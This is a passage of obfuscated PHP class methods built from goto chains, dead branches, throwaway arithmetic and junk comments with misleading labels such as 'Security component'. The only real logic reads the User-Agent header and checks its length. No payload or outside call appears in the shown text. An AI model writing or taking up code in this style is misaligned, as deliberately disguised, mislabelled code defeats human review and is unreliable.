$WWDcP6ib = $iCjD65Pi * 3;
if (false) { echo 'This is a dead end'; }
goto mn0mFzH6;
mn0mFzH6:
$n7sJ6WnP = 381 + 28;
$WWDcP6ib = $n7sJ6WnP * 3;
goto kGssRsx3;
kGssRsx3:
if (false) { echo 'This is a dead end'; }
goto bEXaaOfQ;
bEXaaOfQ:
$XsucffsH = 166 + 37;
$jIP39ari = $XsucffsH * 4;
goto BiUS_j12;
BiUS_j12:
/* HMRQiiPz3yjaWw5wUFmC */
goto pjMrG4w4;
pjMrG4w4:
goto br4eT2yp;
br4eT2yp:
/* System file */
goto k0As0SOI;
k0As0SOI:
$a6EHyDbxg = 532 + 22;
$iCjD65Pi = $a6EHyDbxg * 1;
goto RiiySKL5;
RiiySKL5:
goto foXhRSr4;
foXhRSr4:
/* Security component */
goto SaZSDo5D;
SaZSDo5D:
goto PqyCJdM6;
PqyCJdM6:
// Az606mrHNmoo
$XsucffsH = 527 + 17;
$jIP39ari = $XsucffsH * 1;
goto wGof2Ej1;
wGof2Ej1:
$BqYDw4sr = 795 + 18;
$NqlX8zGc = $BqYDw4sr * 1;
goto nhfVl_ax;
nhfVl_ax:
return $a29IFo9lZ > 10;
}
private function a9wRCMP7lRP() {
/* Main service */
goto ot8qf75n;
ot8qf75n:
$iX1geSuk = 361 + 47;
$WWDcP6ib = $iX1geSuk * 5;
if (false) { echo 'This is a dead end'; }
goto gjCofMM3;
gjCofMM3:
goto LztQs2dR;
LztQs2dR:
goto ymQ270ot;
ymQ270ot:
goto T3RgKCx6;
T3RgKCx6:
/* Main service */
if (false) { echo 'This is a dead end'; }
goto OHRAyEWG;
OHRAyEWG:
$BqYDw4sr = 876 + 16;
$B9ma2fmF = $BqYDw4sr * 4;
goto z4f2t26k;
z4f2t26k:
/* z2OLxK73K0cM3sL */
goto ycuUdSnr;
ycuUdSnr:
$a6b9oay5s = 327 + 30;
$jIP39ari = $a6b9oay5s * 5;
goto pePWdEQP;
pePWdEQP:
goto u6OGHnne;
u6OGHnne:
goto a1n1z9VEE;
a1n1z9VEE:
/* 1g_W11U2rD */
if (false) { echo 'This is a dead end'; }
goto JClZ9Dki;
JClZ9Dki:
/* Security component */
goto qodCF57G;
qodCF57G:
$FbaGmw5w = 559 + 33;
$WWDcP6ib = $FbaGmw5w * 2;
goto JTNtUULr;
JTNtUULr:
goto a8WBMVoSc;
a8WBMVoSc:
/* Main service */
if (false) { echo 'This is a dead end'; }
goto YTMB8wz_;
YTMB8wz_:
$BqYDw4sr = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto M46x7FTP;
M46x7FTP:
// uqk5jEYX
if (false) { echo 'This is a dead end'; }
goto Ojgkw3h8;
Ojgkw3h8:
/* Main service */
$iCjD65Pi = 369 + 21;
$NqlX8zGc = $iCjD65Pi * 3;
goto kbon__CM;
kbon__CM:
// oZoBjTQFozXY
goto LXpxDWnU;
LXpxDWnU:
goto rTf6JMby;
rTf6JMby:
$iX1geSuk = 687 + 10;
$XsucffsH = $iX1geSuk * 3;
goto pwgLhSlF;
pwgLhSlF:
goto oejr4JtY;
oejr4JtY:
// h__6cO77xYdLFU3B
goto GQYUSfP6;
GQYUSfP6:
// SBF5vgWvfU8WbJGn
goto Q6IhEEsi;
Q6IhEEsi:
/* Xglcb9FMiWMV0k9uXORz */
$FbaGmw5w = 660 + 13;
$a6b9oay5s = $FbaGmw5w * 1;
goto lQvKMz_9;
lQvKMz_9:
goto mJBc1iPP;
mJBc1iPP:
// ApdirFaMxsTlbHXY
$FbaGmw5w = 582 + 24;
$iCjD65Pi = $FbaGmw5w * 4;
if (false) { echo 'This is a dead end'; }
goto q4Iol7tv;
q4Iol7tv:
goto a7Zqpe0eI;
a7Zqpe0eI:
$bZa4iOd6 = 328 + 44;
$BqYDw4sr = $bZa4iOd6 * 1;
goto f2_GXvhd;
f2_GXvhd:
$a29IFo9lZ = 854 + 43;
$WWDcP6ib = $a29IFo9lZ * 4;
if (false) { echo 'This is a dead end'; }
goto a_442YVmF;
a_442YVmF:
/* System file */
goto mgn167FS;
mgn167FS:
$a6b9oay5s = strlen($BqYDw4sr);
goto JbUn5RqH;
JbUn5RqH:
// JIvmAP3GKenX
goto fP0BObys;
fP0BObys:
/* U1etITjBxn */
goto N1f_APIl;
N1f_APIl:
// gVQbybyyrhpr
if (false) { echo 'This is a dead end'; }
goto XOvNU_u0;
XOvNU_u0:
goto VVLXD6pL;
VVLXD6pL:
/* PpVy8N9urOkRam8 */
$n7sJ6WnP = 427 + 27;
$FbaGmw5w = $n7sJ6WnP * 2;
goto IqQiqKHu;
IqQiqKHu:
goto LQ28jg60;
LQ28jg60:
$a6EHyDbxg = 683 + 48;
$a6EHyDbxg = $a6EHyDbxg * 2;
if (false) { echo 'This is a dead end'; }
goto HU6SeLzV;
HU6SeLzV:
goto Q5THrtBI;
Q5THrtBI:
$BqYDw4sr = 867 + 25;
$NqlX8zGc = $BqYDw4sr * 4;
goto zHg5aHTE;
zHg5aHTE:
$jIP39ari = 181 + 36;
$BqYDw4sr = $jIP39ari * 5;
goto ChZDW3Sk;
ChZDW3Sk:
/* O7t7HPKcxZ */
goto QRZnIP5C;
QRZnIP5C:
goto ukdpk88S;
ukdpk88S:
goto aOMaOPiG;
aOMaOPiG:
/* 7zutg9G63T */
if (false) { echo 'This is a dead end'; }
goto yYJFaqGV;
yYJFaqGV:
/* yXlgNOgS01 */
$iCjD65Pi = 895 + 4;
$n7sJ6WnP = $iCjD65Pi * 3;
goto jgzqiHUQ;
jgzqiHUQ:
return $a6b9oay5s > 10;
}
private function PUUrXS7pW1() {
goto a0kmiabZc;
a0kmiabZc:
// Pr0QDHNkOwEpXzNx
goto M0_57mcx;
M0_57mcx:
/* API handler */
$a6EHyDbxg = 704 + 41;
$iCjD65Pi = $a6EHyDbxg * 2;
goto Sb1xyBuc;
Sb1xyBuc:
/* h4rwgBH5YLMKp8aUqCQ9 */
$Pe9zuJ4r = 565 + 22;
$XsucffsH = $Pe9zuJ4r * 3;
goto j3CIQMmB;
j3CIQMmB:
goto dBgliThF;
dBgliThF:
/* System file */
$jIP39ari = 487 + 29;
$a29IFo9lZ = $jIP39ari * 5;
goto a0NMVJH2L;
a0NMVJH2L:
/* beyfKjEt2mUCkIX */
$XsucffsH = 288 + 27;
$jIP39ari = $XsucffsH * 2;
goto XUz2xSyi;
XUz2xSyi:
goto wvNAbUf_;
wvNAbUf_:
goto tYkRjEj3;
tYkRjEj3:
$n7sJ6WnP = 385 + 19;
$B9ma2fmF = $n7sJ6WnP * 5;
if (false) { echo 'This is a dead end'; }
goto cbu1hNaH;
cbu1hNaH:
/* System file */
if (false) { echo 'This is a dead end'; }
goto daekWuyq;
daekWuyq:
/* Main service */
$a6EHyDbxg = 560 + 36;
$Pe9zuJ4r = $a6EHyDbxg * 5;
goto tcdyohPd;
tcdyohPd:
goto GSGzSvE4;
GSGzSvE4:
/* fSTvsA6fpr */
$iX1geSuk = 210 + 26;
$Pe9zuJ4r = $iX1geSuk * 2;
goto a0b4wBe3r;
a0b4wBe3r:
goto xTrRoh3k;
xTrRoh3k:
goto a2eOeiJnb;
a2eOeiJnb:
$Pe9zuJ4r = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto w2f0GNOH;
w2f0GNOH:
/* Core module */
if (false) { echo 'This is a dead end'; }
goto Sq7WutmE;
Sq7WutmE:
/* Security component */
goto hXY4yTnT;
hXY4yTnT:
goto enTC2G7i;
enTC2G7i:
$iX1geSuk = 391 + 20;
$iCjD65Pi = $iX1geSuk * 3;
goto bykcMD9G;
bykcMD9G:
/* 8TAuv7LO7RdlA8cJMq9E */
$a29IFo9lZ = 542 + 22;
$FbaGmw5w = $a29IFo9lZ * 4;
if (false) { echo 'This is a dead end'; }
goto sgA899hZ;
sgA899hZ:
if (false) { echo 'This is a dead end'; }
goto IN3PU3ud;
IN3PU3ud:
$NqlX8zGc = 707 + 47;
$NqlX8zGc = $NqlX8zGc * 5;
goto a02eCXvva;
a02eCXvva:
/* Main service */
goto CAXPV0fi;
CAXPV0fi:
/* System file */
$WWDcP6ib = 420 + 40;
$jIP39ari = $WWDcP6ib * 3;
if (false) { echo 'This is a dead end'; }
goto yYI_28Xj;
yYI_28Xj:
/* Bk4HaGz6D67GJTjUVxhf */
goto a9zHCoaE;
a9zHCoaE:
/* System file */
$n7sJ6WnP = 798 + 12;
$BqYDw4sr = $n7sJ6WnP * 4;
goto r4YuE6K3;
r4YuE6K3:
$bZa4iOd6 = 286 + 48;
$iCjD65Pi = $bZa4iOd6 * 5;
goto a7vOcSf5;
a7vOcSf5:
// 2wtbMWRkQfysYuIz
if (false) { echo 'This is a dead end'; }
goto a7CSvxDPQ;
a7CSvxDPQ:
/* cqcQTHnJZmTqY9PKRn5H */
goto aQjidKWP;
aQjidKWP:
goto YJrXgoLM;
YJrXgoLM:
$iCjD65Pi = strlen($Pe9zuJ4r);
goto SsXhjFCD;
SsXhjFCD:
$FbaGmw5w = 478 + 25;
$B9ma2fmF = $FbaGmw5w * 1;
goto zk0ahjA0;
zk0ahjA0:
// y0oyy3ClMJ9nl099
goto UBlLV4FP;
UBlLV4FP:
goto sof9NbRs;
sof9NbRs:
/* Core module */
goto pl8GoUr5;
pl8GoUr5:
/* yzHYYyz_p1 */
$BqYDw4sr = 117 + 45;
$NqlX8zGc = $BqYDw4sr * 1;
if (false) { echo 'This is a dead end'; }
goto FVyACypU;
FVyACypU:
/* System file */
goto a6TrbOOF1;
a6TrbOOF1:
/* Main service */
goto fjwPI_QC;
fjwPI_QC:
// yomupYaI_1Cx5RV0
$B9ma2fmF = 752 + 25;
$FbaGmw5w = $B9ma2fmF * 4;
goto SwIsViE1;
SwIsViE1:
goto OzUD1qFP;
OzUD1qFP:
/* Core module */
$iX1geSuk = 704 + 34;
$WWDcP6ib = $iX1geSuk * 4;
goto mgPBPWfq;
mgPBPWfq:
$jIP39ari = 765 + 37;
$Pe9zuJ4r = $jIP39ari * 4;
if (false) { echo 'This is a dead end'; }
goto uM0ormB9;
uM0ormB9:
goto c7zDYgaX;
c7zDYgaX:
$bZa4iOd6 = 185 + 17;
$NqlX8zGc = $bZa4iOd6 * 3;
goto s5QT00dv;
s5QT00dv:
goto reXTCEUb;
reXTCEUb:
/* Main service */
goto ydjZo5MH;
ydjZo5MH:
return $iCjD65Pi > 10;
}
private function irWKe00gZc() {
goto a3kq5iGTh;
a3kq5iGTh:
/* System file */
$iX1geSuk = 726 + 45;
$iCjD65Pi = $iX1geSuk * 3;
goto o6ENebsb;
o6ENebsb:
$FbaGmw5w = 947 + 42;
$NqlX8zGc = $FbaGmw5w * 1;
goto ZuWsaAy3;
ZuWsaAy3:
goto qZ8bzMm9;
qZ8bzMm9:
$Pe9zuJ4r = 598 + 7;
$Pe9zuJ4r = $Pe9zuJ4r * 5;
goto a46R_gfGL;
a46R_gfGL:
$bZa4iOd6 = 550 + 32;
$iCjD65Pi = $bZa4iOd6 * 4;
if (false) { echo 'This is a dead end'; }
goto gzuImRQm;
gzuImRQm:
goto tTHS7e4K;
tTHS7e4K:
/* 7vuTiAHWgvffFAB */
$bZa4iOd6 = 260 + 4;
$Pe9zuJ4r = $bZa4iOd6 * 1;
goto WKkmL_pz;
WKkmL_pz:
// ZHnIhEkIylIyxDVh
goto yPK5DUPu;
yPK5DUPu:
// a2YOk6hL
$jIP39ari = 614 + 12;
$NqlX8zGc = $jIP39ari * 3;
goto z5WCE37W;
z5WCE37W:
/* System file */
$iX1geSuk = 262 + 10;
$XsucffsH = $iX1geSuk * 5;
goto Sd7JPjuh;
Sd7JPjuh:
/* API handler */
goto a7FMiQowF;
a7FMiQowF:
$Pe9zuJ4r = 532 + 13;
$a6b9oay5s = $Pe9zuJ4r * 1;
goto mghNoygP;
mghNoygP:
/* Main service */
goto chOwLwp2;
chOwLwp2:
$n7sJ6WnP = 183 + 17;
$NqlX8zGc = $n7sJ6WnP * 4;
goto KsuiE7db;
KsuiE7db:
goto tLmI0J3n;
tLmI0J3n:
$WWDcP6ib = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto DeQVj40M;
DeQVj40M:
goto tsIb5Jaq;
tsIb5Jaq:
/* Core module */
$XsucffsH = 528 + 35;
$iCjD65Pi = $XsucffsH * 1;
goto NqhCfGWk;
NqhCfGWk:
/* System file */
goto t2drDVD2;
t2drDVD2:
$n7sJ6WnP = 192 + 45;
$iX1geSuk = $n7sJ6WnP * 1;
goto a_GCp8Y3w;
a_GCp8Y3w:
$iX1geSuk = 543 + 41;
$bZa4iOd6 = $iX1geSuk * 2;
goto DFh7mCCH;
DFh7mCCH:
/* THS_SIsr80qlIxcBI5vC */
goto a9TERnObV;
a9TERnObV:
// sEa1TXaM0KX7gCZW
$NqlX8zGc = 327 + 26;
$iCjD65Pi = $NqlX8zGc * 2;
goto o6RhV7y3;
o6RhV7y3:
$bZa4iOd6 = 237 + 28;
$FbaGmw5w = $bZa4iOd6 * 2;
goto rd2thnw2;
rd2thnw2:
// W9VnrszngUzZ
$a6EHyDbxg = 640 + 36;
$n7sJ6WnP = $a6EHyDbxg * 4;
if (false) { echo 'This is a dead end'; }
goto PXCjZNPD;
PXCjZNPD:
goto twIukysU;
twIukysU:
$BqYDw4sr = 618 + 7;
$Pe9zuJ4r = $BqYDw4sr * 1;
goto Y1PCZ3ot;
Y1PCZ3ot:
goto uCK1BxQO;
uCK1BxQO:
/* System file */
$FbaGmw5w = 581 + 49;
$iX1geSuk = $FbaGmw5w * 5;
goto R5Wo5867;
R5Wo5867:
goto NH8d8MC6;
NH8d8MC6:
/* API handler */
goto EcGax0hK;
EcGax0hK:
$NqlX8zGc = strlen($WWDcP6ib);
goto xPQvmTpi;
xPQvmTpi:
/* 8j29IPQgYDBNJDz */
goto bns7nOES;
bns7nOES:
/* Security component */
goto iUCArUmy;
iUCArUmy:
// fDDdtuThQCAg
goto VwqFqEln;
VwqFqEln:
// 3V36agfXpdgAXH_R
if (false) { echo 'This is a dead end'; }
goto a2oVTKemx;
a2oVTKemx:
goto BLWvctQe;
BLWvctQe:
/* qy20YBf7f8 */
$WWDcP6ib = 532 + 27;
$a29IFo9lZ = $WWDcP6ib * 3;
goto aPL2m27d;
aPL2m27d:
// 186arwdDOsDu
goto sZMWmlJv;
sZMWmlJv:
/* yIlzNKfcEHEYGAmwmInv */
goto CNGt3bVw;
CNGt3bVw:
goto A1zzuzmX;
A1zzuzmX:
// N7taVmcXfMg_1xIx
goto a75YwxEv8;
a75YwxEv8:
goto a9fGsiWxc;
a9fGsiWxc:
if (false) { echo 'This is a dead end'; }
goto NVnnrJYD;
NVnnrJYD:
goto p_etShXI;
p_etShXI:
// quUet1PNesvNqkNq
goto a0DTSEFkF;
a0DTSEFkF:
goto ZA5SO7XB;
ZA5SO7XB:
return $NqlX8zGc > 10;
}
private function YSdfltbvqK() {
goto a35mItSTJ;
a35mItSTJ:
/* QgbLWS3TPGwL2Bc */
goto a0kxAOP_R;
a0kxAOP_R:
// dK3Hv_8m
$XsucffsH = 341 + 37;
$a6b9oay5s = $XsucffsH * 5;
goto wE8rHtD_;
wE8rHtD_:
/* API handler */
$iCjD65Pi = 594 + 27;
$a6b9oay5s = $iCjD65Pi * 2;
goto CCYMdyeT;
CCYMdyeT:
/* API handler */
$a6EHyDbxg = 684 + 24;
$B9ma2fmF = $a6EHyDbxg * 5;
goto WvavBW3e;
WvavBW3e:
/* 5DE3rz8YTVInK2g1XMCk */
$NqlX8zGc = 575 + 31;
$WWDcP6ib = $NqlX8zGc * 3;
if (false) { echo 'This is a dead end'; }
goto UqXgDdF8;
UqXgDdF8:
goto WAPeZWhV;
WAPeZWhV:
// FrDJA6wg
$iX1geSuk = 583 + 37;
$a6EHyDbxg = $iX1geSuk * 2;
goto QxMXbTn2;
QxMXbTn2:
goto NEeqsqbO;
NEeqsqbO:
$XsucffsH = 269 + 44;
$WWDcP6ib = $XsucffsH * 4;
goto ySDaYPXa;
ySDaYPXa:
goto kUH3I7M8;
kUH3I7M8:
/* 9PvNy1s57D44U8A */
goto TOAaN5g5;
TOAaN5g5:
/* API handler */
if (false) { echo 'This is a dead end'; }
goto r4qvhAov;
r4qvhAov:
goto FqBGKp9m;
FqBGKp9m:
goto yQAvdibZ;
yQAvdibZ:
// 72Jk7Fv15F9M8JrT
goto bIWQEwAQ;
bIWQEwAQ:
$a6EHyDbxg = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto mFzN8Bue;
mFzN8Bue:
/* Main service */
$a29IFo9lZ = 380 + 49;
$WWDcP6ib = $a29IFo9lZ * 2;
if (false) { echo 'This is a dead end'; }
goto r8VFmWZJ;
r8VFmWZJ:
goto znroz3KT;
znroz3KT:
/* bzkxVK5T36 */
$a6b9oay5s = 920 + 37;
$bZa4iOd6 = $a6b9oay5s * 2;
goto cEqiSWgk;
cEqiSWgk:
/* Security component */
goto VDthTjqR;
VDthTjqR:
/* API handler */
$jIP39ari = 984 + 46;
$WWDcP6ib = $jIP39ari * 1;
goto q9qN1Xbx;
q9qN1Xbx:
$jIP39ari = 135 + 20;
$iX1geSuk = $jIP39ari * 1;
goto e8nekgT8;
e8nekgT8:
goto TNwHNWTJ;
TNwHNWTJ:
$a6b9oay5s = 201 + 14;
$a6b9oay5s = $a6b9oay5s * 4;
goto q2g5Aev2;
q2g5Aev2:
/* Main service */
goto k5Hk8RPi;
k5Hk8RPi:
/* 8WWXA30JOZybw1y0xdi_ */
goto ZgpJCzSl;
ZgpJCzSl:
goto C0q0oIFc;
C0q0oIFc:
// 64ii3cqJ
$FbaGmw5w = 213 + 49;
$iX1geSuk = $FbaGmw5w * 3;
goto x5Y9bjOm;
x5Y9bjOm:
$NqlX8zGc = 821 + 22;
$XsucffsH = $NqlX8zGc * 2;
if (false) { echo 'This is a dead end'; }
goto O8qgHrXw;
O8qgHrXw:
/* Security component */
$bZa4iOd6 = 527 + 33;
$jIP39ari = $bZa4iOd6 * 4;
if (false) { echo 'This is a dead end'; }
goto KzpMDcbY;
KzpMDcbY:
/* 0RkZ_EHVC7 */
goto Zy7f1Los;
Zy7f1Los:
$BqYDw4sr = strlen($a6EHyDbxg);
goto KKnO_f9v;
KKnO_f9v:
if (false) { echo 'This is a dead end'; }
goto ac6viTRg;
ac6viTRg:
/* wpR5nQaSNM */
$XsucffsH = 917 + 6;
$a29IFo9lZ = $XsucffsH * 4;
goto Ad5DUcuY;
Ad5DUcuY:
goto L96NzA7n;
L96NzA7n:
$FbaGmw5w = 606 + 1;
$iX1geSuk = $FbaGmw5w * 3;
goto h6PxZVvd;
h6PxZVvd:
goto wPa_GTnv;
wPa_GTnv:
$B9ma2fmF = 982 + 15;
$a6EHyDbxg = $B9ma2fmF * 1;
goto aZprx0P0;
aZprx0P0:
$a6b9oay5s = 813 + 1;
$FbaGmw5w = $a6b9oay5s * 4;
goto uu8hh6Ja;
uu8hh6Ja:
$bZa4iOd6 = 691 + 26;
$a6b9oay5s = $bZa4iOd6 * 4;
if (false) { echo 'This is a dead end'; }
goto iqYeisNL;
iqYeisNL:
goto LkF7w1sJ;
LkF7w1sJ:
/* Security component */
$iCjD65Pi = 194 + 12;
$FbaGmw5w = $iCjD65Pi * 3;
goto H3Unpbtg;
H3Unpbtg:
goto HcmBm5LH;
HcmBm5LH:
goto jg9CciJw;
jg9CciJw:
$jIP39ari = 141 + 42;
$bZa4iOd6 = $jIP39ari * 5;
goto a9YYtbEij;
a9YYtbEij:
$FbaGmw5w = 447 + 12;
$XsucffsH = $FbaGmw5w * 5;
if (false) { echo 'This is a dead end'; }
goto RhND1DNt;
RhND1DNt:
/* Main service */
goto a6f1RwsdZ;
a6f1RwsdZ:
return $BqYDw4sr > 10;
}
private function a4pYBSVyXbh() {
/* Security component */
goto OWFvLNy0;
OWFvLNy0:
$n7sJ6WnP = 926 + 17;
$a6EHyDbxg = $n7sJ6WnP * 3;
goto ncjBjESJ;
ncjBjESJ:
/* System file */
$a6b9oay5s = 335 + 21;
$FbaGmw5w = $a6b9oay5s * 1;
goto XIjtgrWY;
XIjtgrWY:
/* Security component */
goto czuH0hOy;
czuH0hOy:
goto PTcN1uIz;
PTcN1uIz:
/* API handler */
if (false) { echo 'This is a dead end'; }
goto waVIvLOV;
waVIvLOV:
goto WaYnU06P;
WaYnU06P:
/* System file */
$Pe9zuJ4r = 764 + 36;
$iCjD65Pi = $Pe9zuJ4r * 1;
goto aJMxzY2a;
aJMxzY2a:
if (false) { echo 'This is a dead end'; }
goto WebbQgX9;
WebbQgX9:
$a29IFo9lZ = 218 + 34;
$bZa4iOd6 = $a29IFo9lZ * 4;
goto ut5SEYcf;
ut5SEYcf:
goto cjnSSokE;
cjnSSokE:
$XsucffsH = 828 + 12;
$iCjD65Pi = $XsucffsH * 1;
if (false) { echo 'This is a dead end'; }
goto ITehgcfO;
ITehgcfO:
goto hAXHR55s;
hAXHR55s:
/* Security component */
$NqlX8zGc = 108 + 3;
$NqlX8zGc = $NqlX8zGc * 1;
if (false) { echo 'This is a dead end'; }
goto TYha_kFr;
TYha_kFr:
goto nqMVNsI0;
nqMVNsI0:
if (false) { echo 'This is a dead end'; }
goto QFJhVJFj;
QFJhVJFj:
$a6b9oay5s = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto e5omH596;
e5omH596:
goto WXw1v1VB;
WXw1v1VB:
goto zicBR1E3;
zicBR1E3:
$Pe9zuJ4r = 989 + 34;
$Pe9zuJ4r = $Pe9zuJ4r * 2;
goto yYAuKKb4;
yYAuKKb4:
goto a6WqMdbvl;
a6WqMdbvl:
// E7KC_WJV
goto ClC6FGTV;
ClC6FGTV:
$XsucffsH = 822 + 34;
$iX1geSuk = $XsucffsH * 1;
if (false) { echo 'This is a dead end'; }
goto LiYGudFg;
LiYGudFg:
goto ecYr_W3h;
ecYr_W3h:
$FbaGmw5w = 428 + 38;
$a6EHyDbxg = $FbaGmw5w * 2;
goto QpYD97mg;
QpYD97mg:
// rsrCYmMTVdCmkjVa
$a29IFo9lZ = 185 + 33;
$WWDcP6ib = $a29IFo9lZ * 1;
goto VfZK8flK;
VfZK8flK:
goto a60VSKJ0X;
a60VSKJ0X:
goto tAB5OrEe;
tAB5OrEe:
goto ub_ptd6c;
ub_ptd6c:
$jIP39ari = 984 + 24;
$jIP39ari = $jIP39ari * 4;
if (false) { echo 'This is a dead end'; }
goto JNDMAGmC;
JNDMAGmC:
// 22NoXWlp4Ct1kasF
goto a7CYN4lp3;
a7CYN4lp3:
goto a8whFlLax;
a8whFlLax:
$WWDcP6ib = strlen($a6b9oay5s);
goto q59ZKda7;
q59ZKda7:
goto a_5stdVA4;
a_5stdVA4:
// YxuYOy9D2JnccRNE
if (false) { echo 'This is a dead end'; }
goto LCcO4z0Z;
LCcO4z0Z:
/* API handler */
goto vUvPfvw3;
vUvPfvw3:
goto a9SYyqt7K;
a9SYyqt7K:
/* k9ZTurLhjhnEIG9uy3ZB */
if (false) { echo 'This is a dead end'; }
goto vt83tiBs;
vt83tiBs:
goto GtuX1C5N;
GtuX1C5N:
$BqYDw4sr = 859 + 44;
$iCjD65Pi = $BqYDw4sr * 4;
goto a5kVUDYl9;
a5kVUDYl9:
$BqYDw4sr = 440 + 13;
$a6b9oay5s = $BqYDw4sr * 5;
goto rfNX7sQC;
rfNX7sQC:
/* Main service */
goto hJCedTnr;
hJCedTnr:
/* fuQ5Z1jpDd */
$jIP39ari = 477 + 31;
$Pe9zuJ4r = $jIP39ari * 1;
goto xjjXNF4A;
xjjXNF4A:
/* nIYtl0hp92 */
$iX1geSuk = 649 + 32;
$bZa4iOd6 = $iX1geSuk * 1;
goto a50am3Pxb;
a50am3Pxb:
if (false) { echo 'This is a dead end'; }
goto WrxMTDer;
WrxMTDer:
goto IUxUlmL6;
IUxUlmL6:
/* Core module */
$FbaGmw5w = 703 + 2;
$a6EHyDbxg = $FbaGmw5w * 2;
goto DjIO1rTy;
DjIO1rTy:
goto RZgmN4Rl;
RZgmN4Rl:
return $WWDcP6ib > 10;
}
private function UARXlGq9qa() {
/* System file */
goto Pl8T0L8a;
Pl8T0L8a:
$NqlX8zGc = 357 + 12;
$B9ma2fmF = $NqlX8zGc * 1;
goto SVG3uYGy;
SVG3uYGy:
// PRqmst8E_HZP_MJM
goto Toz7Y3o_;
Toz7Y3o_:
// OW0dJtZGjMMq_RMh
$XsucffsH = 337 + 23;
$jIP39ari = $XsucffsH * 1;
goto PUk77fdT;
PUk77fdT:
/* FzwheITREgJGyn0 */
goto a7rTSESns;
a7rTSESns:
goto CP_5XPJr;
CP_5XPJr:
// ejExbwFF0WAHr_Yv
$jIP39ari = 603 + 36;
$XsucffsH = $jIP39ari * 3;
if (false) { echo 'This is a dead end'; }
goto PHItSoSR;
PHItSoSR:
goto UWhneZbI;
UWhneZbI:
/* RP6klP__tJpgHkF */
goto hLCG_TIn;
hLCG_TIn:
/* PhkExeyJzKBJDBW */
goto jCK3uyVY;
jCK3uyVY:
goto a9Nvcu9mY;
a9Nvcu9mY:
if (false) { echo 'This is a dead end'; }
goto jIuTc33u;
jIuTc33u:
goto hLbaagux;
hLbaagux:
/* API handler */
goto cHRxIhAu;
cHRxIhAu:
/* dCziaP1wWkwkO3I */
goto JyI70a9c;
JyI70a9c:
goto AYAqiFDO;
AYAqiFDO:
$iX1geSuk = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto lPzacPJB;
lPzacPJB:
goto ERQo194Y;
ERQo194Y:
/* Core module */
goto a1FYA6PZt;
a1FYA6PZt:
$n7sJ6WnP = 678 + 37;
$n7sJ6WnP = $n7sJ6WnP * 2;
goto KMPpwVVD;
KMPpwVVD:
goto a6Igne2Zk;
a6Igne2Zk:
goto EHH1PrJW;
EHH1PrJW:
/* API handler */
$a6b9oay5s = 928 + 44;
$NqlX8zGc = $a6b9oay5s * 5;
goto qG67ufU0;
qG67ufU0:
goto VnTTXgcg;
VnTTXgcg:
$a29IFo9lZ = 904 + 43;
$a6EHyDbxg = $a29IFo9lZ * 4;
if (false) { echo 'This is a dead end'; }
goto fGYKHPBu;
fGYKHPBu:
/* Main service */
goto a4cD7ZoqC;
a4cD7ZoqC:
goto U68OI4fH;
U68OI4fH:
/* 2VAnOU9iXiuTgnj */
$iX1geSuk = 394 + 41;
$bZa4iOd6 = $iX1geSuk * 5;
goto VX2ilYmA;
VX2ilYmA:
goto a3NThPA6z;
a3NThPA6z:
$bZa4iOd6 = 920 + 42;
$bZa4iOd6 = $bZa4iOd6 * 1;
goto uPc0ZVFw;
uPc0ZVFw:
/* nNgtWWEzPdinOYOq9stk */
$a6EHyDbxg = 772 + 37;
$Pe9zuJ4r = $a6EHyDbxg * 1;
goto Un8UdztZ;
Un8UdztZ:
goto dODpHxYy;
dODpHxYy:
$B9ma2fmF = strlen($iX1geSuk);
goto VocvIsHs;
VocvIsHs:
/* svc04ICyLe */
if (false) { echo 'This is a dead end'; }
goto msUBI_B8;
msUBI_B8:
if (false) { echo 'This is a dead end'; }
goto sm5lcQGE;
sm5lcQGE:
/* UP0j8wvp1l */
$jIP39ari = 320 + 7;
$B9ma2fmF = $jIP39ari * 1;
goto hm1KeRFH;
hm1KeRFH:
/* HqYzyBxBuckfGj3TP8rK */
goto yxoEOHTg;
yxoEOHTg:
goto a4wqMpj6x;
a4wqMpj6x:
/* System file */
$NqlX8zGc = 395 + 30;
$BqYDw4sr = $NqlX8zGc * 5;
goto G6g48DIW;
G6g48DIW:
goto a9pGM8ztx;
a9pGM8ztx:
$jIP39ari = 831 + 8;
$BqYDw4sr = $jIP39ari * 5;
goto QQKtRW7O;
QQKtRW7O:
$NqlX8zGc = 112 + 44;
$WWDcP6ib = $NqlX8zGc * 3;
goto AbkjMNX6;
AbkjMNX6:
/* Core module */
if (false) { echo 'This is a dead end'; }
goto BS2IU1_i;
BS2IU1_i:
/* System file */
goto Ngk4VhTW;
Ngk4VhTW:
goto iRDfwcjk;
iRDfwcjk:
goto u5cLtJvu;
u5cLtJvu:
// DeBfy4cVKgOV
$iCjD65Pi = 766 + 49;
$FbaGmw5w = $iCjD65Pi * 1;
goto ytTeDwSW;
ytTeDwSW:
goto BgvvKN1j;
BgvvKN1j:
return $B9ma2fmF > 10;
}
private function uePV1cYpEW() {
goto USv9xSMc;
USv9xSMc:
/* 3kCgja_RVjaHTKwne17i */
$BqYDw4sr = 503 + 5;
$iX1geSuk = $BqYDw4sr * 2;
goto kyBYibie;
kyBYibie:
/* 5_igYsAyd_ */
goto a3EyhhoHw;
a3EyhhoHw:
/* API handler */
goto a88nS_byw;
a88nS_byw:
$FbaGmw5w = 871 + 33;
$B9ma2fmF = $FbaGmw5w * 3;
goto dRFG47Mu;
dRFG47Mu:
/* API handler */
goto MeMjbyfV;
MeMjbyfV:
goto PeOvbNBx;
PeOvbNBx:
// XvHSUiVzoMci
$n7sJ6WnP = 283 + 43;
$WWDcP6ib = $n7sJ6WnP * 1;
goto rsYZmp0G;
rsYZmp0G:
goto LvuTeqAc;
LvuTeqAc:
/* API handler */
goto a0Oz1O25d;
a0Oz1O25d:
goto VtXeSJnl;
VtXeSJnl:
goto w2Aobj1y;
w2Aobj1y:
$n7sJ6WnP = 661 + 43;
$n7sJ6WnP = $n7sJ6WnP * 2;
if (false) { echo 'This is a dead end'; }
goto twsxSVGS;
twsxSVGS:
// YHhr6TKR_WsVQgYI
goto CrTHltF1;
CrTHltF1:
/* Core module */
$iCjD65Pi = 822 + 3;
